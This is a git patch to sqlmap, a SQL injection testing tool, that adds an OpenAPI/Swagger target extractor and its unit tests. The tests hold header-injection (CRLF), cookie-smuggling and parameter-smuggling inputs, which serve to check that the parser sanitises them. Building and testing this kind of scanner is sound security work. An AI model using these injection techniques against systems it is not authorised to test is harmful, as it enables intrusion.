params: + if not isinstance(param, dict): + continue + location, name = param.get("in"), param.get("name") + if not name: + continue + if not isinstance(name, six.string_types): # YAML can yield a non-string param name (e.g. 5) + name = str(name) + explicit = _explicitExample(spec, param) # parameter-level example/examples wins over schema synthesis + if explicit is not _NO_EXAMPLE: + value = _scalar(explicit) + else: + schema = param.get("schema") or {"type": param.get("type", "string")} + value = _scalar(_example(spec, schema, cache=cache)) + if location == "path": + # mark the filled path segment as a (custom) URI injection point - path parameters are + # prime REST injection targets; the value is encoded first so its own chars add no mark + urlPath = urlPath.replace("{%s}" % name, _urlSafe(value) + CUSTOM_INJECTION_MARK_CHAR) + elif location == "query": + # best-effort: array/object query params are scalarized (single value), NOT expanded per + # OpenAPI style/explode (repeated keys, comma/space/pipe delimited, deepObject) - the goal + # is one testable request per operation, not faithful serialization + query.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value))) + elif location == "header": + # append the custom injection mark so the header value becomes a testable (custom) + # injection point (non-exclusive: query/body params are still auto-tested); skip names + # that are not valid HTTP field-name tokens + headerName = _headerClean(name) + if headerName and _HEADER_NAME_RE.match(headerName): + headers.append((headerName, "%s%s" % (_headerClean(_noMark(value)), CUSTOM_INJECTION_MARK_CHAR))) + elif location == "cookie": + # a cookie name is a token; the value must not contain cookie-structure chars ('; ,' + # and whitespace) or a spec could smuggle extra cookie pairs + cookieName = _headerClean(name) + if cookieName and _HEADER_NAME_RE.match(cookieName): + cookieValue = re.sub(r"[;,\s]", "", _headerClean(_noMark(value))) + cookies.append("%s=%s%s" % (cookieName, cookieValue, CUSTOM_INJECTION_MARK_CHAR)) + elif location == "formData": # Swagger v2 in:"formData" -> urlencoded body field + form.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value))) + + if cookies: # aggregate all cookie params into a single Cookie header + headers.append((HTTP_HEADER.COOKIE, "; ".join(cookies))) + + urlPath = urlPath.replace(" ", "%20").replace("?", "%3F").replace("#", "%23") # keep a literal path key from breaking the URL (filled values are already encoded) + if urlPath and not urlPath.startswith("/"): # OpenAPI path keys start with '/'; harden a loose spec so base+path is not glued (/v1pets) + urlPath = "/" + urlPath + + url = base + urlPath + if query: + url += "?" + "&".join(query) + + url = re.sub(r"\{[^}]+\}", "1", url) # any leftover template var (undefined path OR server variable) -> "1" + + if not re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # no scheme/host -> unscannable relative URL + logger.warning("skipping OpenAPI operation '%s %s' (unable to resolve an absolute target URL; provide the specification by URL or add a 'servers'/'host' entry)" % (str(method).upper(), path)) + continue + + data = None + body = _resolve(spec, operation.get("requestBody") or {}) + content_ = body.get("content") if isinstance(body, dict) else None + if isinstance(content_, dict) and content_: + mediaTypes = [_ for _ in content_ if isinstance(_, six.string_types)] # media-type keys must be strings + picked = next((_ for _ in mediaTypes if _ == "application/json" or _.endswith("+json") or "json" in _), None) \ + or ("application/x-www-form-urlencoded" if "application/x-www-form-urlencoded" in mediaTypes else None) \ + or (mediaTypes[0] if mediaTypes else None) + if picked: + mediaType = content_[picked] if isinstance(content_[picked], dict) else {} + example = _explicitExample(spec, mediaType) # media-type-level example/examples wins over schema synthesis + if example is _NO_EXAMPLE: + example = _example(spec, mediaType.get("schema") or {}, cache=cache) + if "json" in picked: + data = _noMark(json.dumps(example, default=str)) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json")) + elif picked == "application/x-www-form-urlencoded" and isinstance(example, dict): + data = "&".join("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(_scalar(value))) for name, value in example.items()) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded")) + elif isinstance(example, six.string_types): + # raw (text / xml / ...) body -> mark it so the whole body becomes a testable point + data = _noMark(example) + CUSTOM_INJECTION_MARK_CHAR + headers.append((HTTP_HEADER.CONTENT_TYPE, picked)) + else: # e.g. multipart/form-data or a structured non-JSON body (no safe serialization) + logger.debug("not synthesizing a '%s' request body for '%s %s'" % (picked, str(method).upper(), path)) + elif isinstance(operation.get("parameters"), list) or isV2: + for param in params: # Swagger v2 in:"body" + if isinstance(param, dict) and param.get("in") == "body": + example = _example(spec, param.get("schema") or {}, cache=cache) + data = _noMark(json.dumps(example, default=str)) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json")) + + if data is None and form: # Swagger v2 in:"formData" fields -> urlencoded body + data = "&".join(form) + headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded")) + + retVal.append((url, str(method).upper(), data, headers or None)) + except Exception as ex: + logger.warning("skipping OpenAPI operation '%s %s' (%s)" % (str(method).upper(), path, getSafeExString(ex))) + + return retVal diff --git a/tests/test_openapi.py b/tests/test_openapi.py new file mode 100644 index 00000000000..40c8cd9305a --- /dev/null +++ b/tests/test_openapi.py @@ -0,0 +1,456 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the OpenAPI/Swagger target extractor (lib/parse/openapi.py): schema example +synthesis, $ref resolution (incl. cycles), base-URL resolution (v2 + v3, relative/templated servers), +request-body handling (JSON / form), parameter->PLACE mapping, and (importantly) graceful handling of +malformed / poorly-defined specifications (a broken spec must never crash or hang the parser). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import json +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.parse.openapi import openApiTargets, yaml as _yaml + +HAS_YAML = _yaml is not None + + +def _targets(spec, origin="http://h"): + return openApiTargets(json.dumps(spec) if isinstance(spec, dict) else spec, origin) + +def _byMethodPath(targets): + return dict(("%s %s" % (method, url), (method, url, data, headers)) for url, method, data, headers in targets) + + +class TestOpenApi(unittest.TestCase): + def test_v3_query_path_and_base(self): + spec = {"openapi": "3.0.0", "servers": [{"url": "/api"}], + "paths": {"/pet/{id}": {"get": {"parameters": [ + {"name": "id", "in": "path", "schema": {"type": "integer"}}, + {"name": "q", "in": "query", "schema": {"type": "string", "example": "x"}}]}}}} + targets = _targets(spec, "http://host:8080") + self.assertEqual(len(targets), 1) + url, method, data, headers = targets[0] + self.assertEqual(method, "GET") + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + self.assertEqual(url, "http://host:8080/api/pet/1%s?q=x" % MARK) # relative server + filled+marked path + query + self.assertIsNone(data) + + def test_v3_json_body_sets_data_and_content_type(self): + spec = {"openapi": "3.0.0", "paths": {"/o": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"type": "object", "properties": {"name": {"type": "string"}, "qty": {"type": "integer"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(method, "POST") + self.assertEqual(json.loads(data), {"name": "1", "qty": 1}) + self.assertIn(("Content-Type", "application/json"), headers) + + def test_form_urlencoded_body(self): + spec = {"openapi": "3.0.0", "paths": {"/login": {"post": {"requestBody": {"content": + {"application/x-www-form-urlencoded": {"schema": {"type": "object", + "properties": {"u": {"type": "string"}, "p": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(sorted(data.split("&")), ["p=1", "u=1"]) + + def test_value_synthesis(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a", "in": "query", "schema": {"type": "integer"}}, + {"name": "b", "in": "query", "schema": {"type": "boolean"}}, + {"name": "c", "in": "query", "schema": {"type": "string", "enum": ["first", "second"]}}, + {"name": "d", "in": "query", "schema": {"type": "string", "default": "dd"}}, + {"name": "e", "in": "query", "schema": {"type": "string", "format": "uuid"}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("a=1", url) + self.assertIn("b=true", url) + self.assertIn("c=first", url) # enum[0] + self.assertIn("d=dd", url) # default + self.assertIn("e=11111111-1111-1111-1111-111111111111", url) # format uuid + + def test_ref_resolution_and_allof_oneof(self): + spec = {"openapi": "3.0.0", + "components": {"schemas": {"Tag": {"type": "object", "properties": {"n": {"type": "string"}}}}}, + "paths": { + "/ref": {"post": {"requestBody": {"content": {"application/json": {"schema": {"$ref": "#/components/schemas/Tag"}}}}}}, + "/all": {"post": {"requestBody": {"content": {"application/json": {"schema": {"allOf": [ + {"type": "object", "properties": {"x": {"type": "string"}}}, + {"type": "object", "properties": {"y": {"type": "integer"}}}]}}}}}}, + "/one": {"post": {"requestBody": {"content": {"application/json": {"schema": {"oneOf": [ + {"type": "object", "properties": {"only": {"type": "string"}}}, + {"type": "object", "properties": {"other": {"type": "string"}}}]}}}}}}}} + m = _byMethodPath(_targets(spec)) + self.assertEqual(json.loads(m["POST http://h/ref"][2]), {"n": "1"}) + self.assertEqual(json.loads(m["POST http://h/all"][2]), {"x": "1", "y": 1}) # allOf merged + self.assertEqual(json.loads(m["POST http://h/one"][2]), {"only": "1"}) # oneOf -> first + + def test_ref_cycle_terminates(self): + spec = {"openapi": "3.0.0", + "components": {"schemas": {"Node": {"type": "object", "properties": { + "name": {"type": "string"}, "parent": {"$ref": "#/components/schemas/Node"}}}}}, + "paths": {"/n": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/Node"}}}}}}}} + targets = _targets(spec) # must not hang / recurse forever + self.assertEqual(len(targets), 1) + self.assertTrue(json.loads(targets[0][2]).get("name") == "1") + + def test_swagger_v2_base_and_body(self): + spec = {"swagger": "2.0", "host": "api.example.com", "basePath": "/v2", "schemes": ["https"], + "paths": {"/pet": {"post": {"parameters": [{"name": "b", "in": "body", + "schema": {"type": "object", "properties": {"id": {"type": "integer"}}}}]}}}} + url, method, data, headers = _targets(spec, None)[0] + self.assertEqual(url, "https://api.example.com/v2/pet") + self.assertEqual(json.loads(data), {"id": 1}) + + def test_server_template_variables(self): + spec = {"openapi": "3.0.0", "servers": [{"url": "https://{env}.x.io/{ver}", + "variables": {"env": {"default": "prod"}, "ver": {"default": "v3"}}}], + "paths": {"/p": {"get": {}}}} + self.assertEqual(_targets(spec, None)[0][0], "https://prod.x.io/v3/p") + + def test_headers_are_hashable_tuples(self): + # kb.targets is an OrderedSet, so the emitted headers must be hashable (tuple, not list) + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "h", "in": "header", "schema": {"type": "string"}}]}}}} + headers = _targets(spec)[0][3] + self.assertTrue(headers is None or isinstance(tuple(headers), tuple)) + + def test_header_and_cookie_params_are_injection_marked(self): + # header/cookie params get the custom injection mark ('*') appended so they become testable + # (custom) injection points (query/body params are still auto-tested alongside them) + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "X-Api", "in": "header", "schema": {"type": "string", "example": "k"}}, + {"name": "sess", "in": "cookie", "schema": {"type": "string", "example": "v"}}]}}}} + headers = dict(_targets(spec)[0][3]) + self.assertEqual(headers["X-Api"], "k" + MARK) + self.assertEqual(headers["Cookie"], "sess=v" + MARK) + + # --- graceful degradation: a broken/poorly-defined spec must never crash the parser --- + + def test_malformed_raises_valueerror(self): + for bad in ("{not json,,,", "[1,2,3]", "{}", '{"openapi":"3.0.0"}', '{"openapi":"3.0.0","paths":[1,2]}'): + self.assertRaises(ValueError, openApiTargets, bad, "http://h") + + def test_malformed_servers_do_not_crash(self): + for servers in ('{"url":"/a"}', '"http://h"', "[]"): + spec = '{"openapi":"3.0.0","servers":%s,"paths":{"/x":{"get":{}}}}' % servers + self.assertEqual(len(openApiTargets(spec, "http://h")), 1) # no crash, still one target + + def test_url_and_body_values_are_encoded(self): + # special characters in synthesized values must be percent-encoded so they can not break the + # URL structure (param smuggling) or the form body + spec = {"openapi": "3.0.0", "paths": { + "/x/{p}": {"get": {"parameters": [ + {"name": "p", "in": "path", "schema": {"type": "string", "example": "a/b"}}, + {"name": "q", "in": "query", "schema": {"type": "string", "example": "a b&c=d"}}]}}, + "/f": {"post": {"requestBody": {"content": {"application/x-www-form-urlencoded": + {"schema": {"type": "object", "properties": {"u": {"type": "string", "example": "a b&x"}}}}}}}}}} + byMethod = dict((method, (url, data)) for url, method, data, headers in _targets(spec)) + getUrl = byMethod["GET"][0] + self.assertIn("/x/a%2Fb", getUrl) # path value '/' encoded (no extra segment) + self.assertIn("q=a%20b%26c%3Dd", getUrl) # query value space/&/= encoded (no smuggling) + self.assertNotIn(" ", getUrl) + self.assertEqual(byMethod["POST"][1], "u=a%20b%26x") + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_yaml_spec(self): + y = ("openapi: 3.0.0\n" + "paths:\n" + " /y:\n" + " get:\n" + " parameters:\n" + " - name: q\n" + " in: query\n" + " schema: {type: string, example: hi}\n") + targets = openApiTargets(y, "http://h") + self.assertEqual(len(targets), 1) + self.assertEqual(targets[0][0], "http://h/y?q=hi") + + def test_shared_recursive_refs_scale(self): + # a self-referential schema reused across many operations must terminate promptly (depth cap + + # per-$ref memoization); without them this would blow up exponentially and hang the test + schemas = {"Node": {"type": "object", "properties": { + "name": {"type": "string"}, + "child": {"$ref": "#/components/schemas/Node"}, + "list": {"type": "array", "items": {"$ref": "#/components/schemas/Node"}}}}} + paths = dict(("/n%d" % i, {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/Node"}}}}}}) for i in range(60)) + targets = _targets({"openapi": "3.0.0", "components": {"schemas": schemas}, "paths": paths}) + self.assertEqual(len(targets), 60) + self.assertEqual(json.loads(targets[0][2]).get("name"), "1") + + def test_swagger_v2_formdata_body(self): + # in:"formData" params must become a urlencoded body (previously dropped -> empty POST) + spec = {"swagger": "2.0", "host": "h", "paths": {"/l": {"post": {"parameters": [ + {"name": "u", "in": "formData", "type": "string"}, + {"name": "p", "in": "formData", "type": "string"}]}}}} + url, method, data, headers = _targets(spec, None)[0] + self.assertEqual(method, "POST") + self.assertEqual(sorted(data.split("&")), ["p=1", "u=1"]) + + def test_relative_base_is_skipped(self): + # a spec that yields no scheme/host (relative server + no origin) must be skipped, not emitted + spec = {"openapi": "3.0.0", "servers": [{"url": "/api"}], "paths": {"/x": {"get": {}}}} + self.assertEqual(openApiTargets(json.dumps(spec), None), []) # relative -> skipped + self.assertEqual(len(openApiTargets(json.dumps(spec), "http://h")), 1) # absolute with origin -> kept + + def test_unsupported_body_media_type_no_crash(self): + # a structured body under a non-JSON/form media type must not crash and must not fabricate a body, + # but the endpoint URL is still produced + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/xml": + {"schema": {"type": "object", "properties": {"a": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual((url, method, data), ("http://h/x", "POST", None)) + + def test_injection_mark_char_in_value_is_not_doubled(self): + # an example value already containing the custom injection mark must not create a stray point + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": { + "parameters": [{"name": "H", "in": "header", "schema": {"type": "string", "example": "a%sb" % MARK}}], + "requestBody": {"content": {"application/json": {"schema": {"type": "object", + "properties": {"n": {"type": "string", "example": "x%sy" % MARK}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(dict(headers)["H"], "ab" + MARK) # single trailing mark only + self.assertEqual(json.loads(data), {"n": "xy"}) # mark stripped from body value + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_non_string_method_keys_do_not_crash(self): + # YAML path-item keys are not guaranteed to be strings (404 -> int, on -> bool); must not crash + y = ("openapi: 3.0.0\n" + "servers: [{url: 'http://h'}]\n" + "paths:\n" + " /x:\n" + " get: {}\n" + " 404: {}\n" + " on: {}\n") + targets = openApiTargets(y, "http://h") + self.assertEqual(len(targets), 1) # only the real GET operation + self.assertEqual(targets[0][1], "GET") + + def test_hostile_base_url_metadata_does_not_crash(self): + # _baseUrl runs once, OUTSIDE the per-operation try, so malformed server/scheme/basePath metadata + # must not raise (it would abort the entire extraction) + hostile = [ + {"openapi": "3.0.0", "servers": [{"url": "https://{e}.x/", "variables": [1, 2]}], "paths": {"/x": {"get": {}}}}, + {"openapi": "3.0.0", "servers": [{"url": "https://{e}.x/", "variables": {"e": "prod"}}], "paths": {"/x": {"get": {}}}}, + {"openapi": "3.0.0", "servers": [{"url": 123}], "paths": {"/x": {"get": {}}}}, + {"swagger": "2.0", "host": "h", "schemes": {"a": 1}, "paths": {"/x": {"get": {}}}}, + {"swagger": "2.0", "host": "h", "basePath": 123, "paths": {"/x": {"get": {}}}}] + for spec in hostile: + self.assertEqual(len(_targets(spec)), 1) # no crash, still one target + + def test_param_entry_not_a_dict_is_skipped(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": ["oops", {"name": "q", "in": "query"}]}}}} + self.assertIn("q=1", _targets(spec)[0][0]) # bad entry skipped, good one still used + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_yaml_date_examples_serialize(self): + # unquoted YAML dates parse to datetime.date, which is not JSON-serializable -> must be stringified, + # not silently dropped (dates are pervasive in real specs) + y = ("openapi: 3.0.0\n" + "servers: [{url: 'http://h'}]\n" + "paths:\n" + " /x:\n" + " post:\n" + " requestBody:\n" + " content:\n" + " application/json:\n" + " schema: {type: object, properties: {created: {type: string, example: 2020-01-01}}}\n") + url, method, data, headers = openApiTargets(y, "http://h")[0] + self.assertEqual(json.loads(data), {"created": "2020-01-01"}) + + def test_crlf_in_header_and_cookie_is_stripped(self): + # a spec-supplied header/cookie name or value must not carry CR/LF (header injection / request + # corruption); query/path values are separately percent-encoded + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "X-A", "in": "header", "schema": {"type": "string", "example": "a\r\nX-Evil: 1"}}, + {"name": "X\r\nB", "in": "header", "schema": {"type": "string", "example": "v"}}, + {"name": "sid", "in": "cookie", "schema": {"type": "string", "example": "a\r\nSet: x"}}]}}}} + headers = dict(_targets(spec)[0][3]) + for name, value in headers.items(): + self.assertNotIn("\r", name + value) + self.assertNotIn("\n", name + value) + self.assertIn("X-A", headers) + self.assertIn("XB", headers) # control chars removed from the name + + def test_explicit_examples_preferred_over_schema(self): + # a concrete example/examples on the media-type or parameter object must win over schema synthesis + # (real specs carry the canonical, validation-passing value there) + body = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": { + "schema": {"type": "object", "properties": {"name": {"type": "string"}}}, "example": {"name": "real"}}}}}}}} + self.assertEqual(json.loads(_targets(body)[0][2]), {"name": "real"}) + examples = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": { + "schema": {"type": "object"}, "examples": {"first": {"value": {"k": "v1"}}}}}}}}}} + self.assertEqual(json.loads(_targets(examples)[0][2]), {"k": "v1"}) + param = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "q", "in": "query", "example": "E", "schema": {"type": "string"}}]}}}} + self.assertIn("q=E", _targets(param)[0][0]) + + def test_openapi_31_const_and_type_array(self): + spec = {"openapi": "3.1.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "c", "in": "query", "schema": {"const": "CV"}}, + {"name": "n", "in": "query", "schema": {"type": ["integer", "null"]}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("c=CV", url) # const used + self.assertIn("n=1", url) # ["integer","null"] resolved to integer, not the generic fallback + + def test_parameter_names_are_encoded(self): + # a param NAME with structural chars must be encoded so it can not split/smuggle params or truncate + # at a fragment; deep-object brackets ([]) are preserved + spec = {"openapi": "3.0.0", "paths": { + "/q": {"get": {"parameters": [ + {"name": "a&b=c", "in": "query", "schema": {"type": "string"}}, + {"name": "a#b", "in": "query", "schema": {"type": "string"}}, + {"name": "filter[status]", "in": "query", "schema": {"type": "string"}}]}}, + "/f": {"post": {"requestBody": {"content": {"application/x-www-form-urlencoded": + {"schema": {"type": "object", "properties": {"x&y": {"type": "string"}}}}}}}}}} + byMethod = dict((method, (url, data)) for url, method, data, headers in _targets(spec)) + getUrl = byMethod["GET"][0] + self.assertIn("a%26b%3Dc=1", getUrl) + self.assertIn("a%23b=1", getUrl) + self.assertIn("filter[status]=1", getUrl) # brackets kept (deep-object param names) + self.assertNotIn("#", getUrl) + self.assertEqual(byMethod["POST"][1], "x%26y=1") + + def test_undefined_template_var_does_not_leak(self): + # a server/path template variable with no definition must not leave a literal '{...}' in the URL + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.x.com/{basePath}/v3"}], + "paths": {"/pets": {"get": {}}}} + url = _targets(spec, "http://h")[0][0] + self.assertNotIn("{", url) + self.assertEqual(url, "https://api.x.com/1/v3/pets") # absolute server used as-is (host not rewritten) + + def test_absolute_server_url_is_not_rewritten_to_origin(self): + # a spec served from one host but declaring an absolute API server on another host must scan the + # DECLARED API host, not the spec's origin + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.example.com/v1"}], + "paths": {"/pets": {"get": {}}}} + self.assertEqual(_targets(spec, "https://docs.example.com")[0][0], "https://api.example.com/v1/pets") + + def test_path_parameter_is_injection_marked(self): + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/users/{id}": {"get": {"parameters": [ + {"name": "id", "in": "path", "schema": {"type": "integer"}}]}}}} + self.assertEqual(_targets(spec)[0][0], "http://h/users/1" + MARK) + + def test_form_urlencoded_sets_content_type_and_multipart_skipped(self): + form = {"openapi": "3.0.0", "paths": {"/f": {"post": {"requestBody": {"content": + {"application/x-www-form-urlencoded": {"schema": {"type": "object", "properties": {"u": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(form)[0] + self.assertEqual(data, "u=1") + self.assertIn(("Content-Type", "application/x-www-form-urlencoded"), headers) + multipart = {"openapi": "3.0.0", "paths": {"/m": {"post": {"requestBody": {"content": + {"multipart/form-data": {"schema": {"type": "object", "properties": {"u": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(multipart)[0] + self.assertIsNone(data) # multipart is skipped, not mis-serialized as urlencoded + + def test_path_item_ref_is_resolved(self): + spec = {"openapi": "3.1.0", + "components": {"pathItems": {"Ping": {"get": {"parameters": [ + {"name": "q", "in": "query", "schema": {"type": "string", "example": "z"}}]}}}}, + "paths": {"/ping": {"$ref": "#/components/pathItems/Ping"}}} + targets = _targets(spec) + self.assertEqual(len(targets), 1) + self.assertIn("q=z", targets[0][0]) + + def test_operation_parameter_overrides_path_level(self): + spec = {"openapi": "3.0.0", "paths": {"/x": { + "parameters": [{"name": "q", "in": "query", "schema": {"type": "string", "example": "shared"}}], + "get": {"parameters": [{"name": "q", "in": "query", "schema": {"type": "string", "example": "op"}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("q=op", url) # operation value wins + self.assertEqual(url.count("q="), 1) # not duplicated + + def test_multiple_cookies_aggregate_into_one_header(self): + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a", "in": "cookie", "schema": {"type": "string"}}, + {"name": "b", "in": "cookie", "schema": {"type": "string"}}]}}}} + headers = _targets(spec)[0][3] + cookieHeaders = [v for (k, v) in headers if k == "Cookie"] + self.assertEqual(cookieHeaders, ["a=1%s; b=1%s" % (MARK, MARK)]) # one aggregated Cookie header + + def test_cookie_name_value_cannot_smuggle_pairs(self): + # a cookie name that is not a token is dropped; structural chars in the value ('; ,' / whitespace) + # are stripped so a spec can not inject additional cookie pairs + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a; injected", "in": "cookie", "schema": {"type": "string"}}, + {"name": "sid", "in": "cookie", "schema": {"type": "string", "example": "v; z=1"}}]}}}} + cookieHeaders = [v for (k, v) in (_targets(spec)[0][3] or []) if k == "Cookie"] + self.assertEqual(len(cookieHeaders), 1) + cookie = cookieHeaders[0] + self.assertNotIn(";", cookie.rstrip("*")) # no interior ';' -> no smuggled pair + self.assertNotIn("injected", cookie) # invalid cookie name dropped + self.assertNotIn(" ", cookie) + + def test_loose_path_without_leading_slash(self): + # a malformed path key missing its leading '/' must not glue onto the base (".../v1pets") + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.x/v1"}], "paths": {"pets": {"get": {}}}} + self.assertEqual(_targets(spec, None)[0][0], "https://api.x/v1/pets") + + def test_array_query_param_is_best_effort_scalar(self): + # documents current best-effort behavior: an array query param is scalarized+encoded, NOT expanded + # per style/explode. If richer serialization is added later, update this expectation deliberately. + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "ids", "in": "query", "schema": {"type": "array", "items": {"type": "integer"}}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("ids=", url) + self.assertNotIn(" ", url) # whatever the encoding, it must not break the URL + self.assertTrue(url.startswith("http://h/x?ids=")) + + def test_invalid_header_name_is_skipped(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "Bad Name", "in": "header", "schema": {"type": "string"}}, + {"name": "Also:Bad", "in": "header", "schema": {"type": "string"}}, + {"name": "X-Good", "in": "header", "schema": {"type": "string"}}]}}}} + headers = dict(_targets(spec)[0][3] or []) + self.assertIn("X-Good", headers) + self.assertNotIn("Bad Name", headers) + self.assertNotIn("Also:Bad", headers) + + def test_explicit_null_example_falls_back_to_schema(self): + # 'example: null' must not serialize as null/"null" - fall back to schema synthesis + q = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "q", "in": "query", "example": None, "schema": {"type": "string", "example": "good"}}]}}}} + self.assertIn("q=good", _targets(q)[0][0]) + b = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": + {"example": None, "schema": {"type": "object", "properties": {"a": {"type": "integer"}}}}}}}}}} + self.assertEqual(json.loads(_targets(b)[0][2]), {"a": 1}) + + def test_degrade_not_skip_on_odd_shapes(self): + # enum-as-dict, non-string param name, and content[type]-as-list must degrade (op preserved) + for spec in ( + {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [{"name": "q", "in": "query", "schema": {"enum": {"a": 1}}}]}}}}, + {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [{"name": 5, "in": "header", "schema": {"type": "string"}}]}}}}, + {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": [1, 2]}}}}}}): + self.assertEqual(len(_targets(spec)), 1) + + def test_malformed_ref_and_properties_degrade_not_skip(self): + # a non-string/unhashable $ref or a non-dict 'properties' must degrade the value (not lose the op) + for schema in ({"$ref": 123}, {"$ref": [1, 2]}, {"type": "object", "properties": [1, 2]}): + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": + {"content": {"application/json": {"schema": schema}}}}}}} + self.assertEqual(len(_targets(spec)), 1) # operation preserved, not skipped + + def test_undefined_bits_are_skipped_not_fatal(self): + spec = {"openapi": "3.0.0", "paths": { + "/a": {"get": {"parameters": [{}]}}, # param with no name + "/b": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/DoesNotExist"}}}}}}, # dangling $ref + "/c": {"get": {"parameters": [{"name": "p", "in": "query", + "schema": {"$ref": "https://other/x.json#/Y"}}]}}}} # external $ref + targets = _targets(spec) + self.assertEqual(len(targets), 3) # all three still produced + + +if __name__ == "__main__": + unittest.main() From 2719ce6c591477c99f8b11cb1cb5956d2a56ebf5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 21:57:17 +0200 Subject: [PATCH 675/853] Minor patch --- data/txt/sha256sums.txt | 8 ++++---- lib/core/option.py | 11 ++++++++--- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 5 ++++- 5 files changed, 18 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index abab556e88b..4b922ab0aad 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -181,15 +181,15 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -91cc64c3dadf05eae666fcbbb0cd44c8ed8dd60592334b419ec8748cdded5f30 lib/core/optiondict.py -227716f876f3af24e2c5ae4818d1e3b9bc17627f1876d66bcefc4953e660f1af lib/core/option.py +47c9828bdfa606a02f07925539d7af55c5eaf1fda61d05ecc40f73d77df036f9 lib/core/optiondict.py +3ac60716cf1c619b80038acb8b213c728cc607e7c5a387911e01635a23fbc92b lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1769800f72aa1e88c885ffb641e6e816d7d569b8c4a554bf7c7de821961a5235 lib/core/settings.py +3871d1b0d2ec82e2b0ed4705199519a473f92dbbf0db911e96ca613774961021 lib/core/settings.py 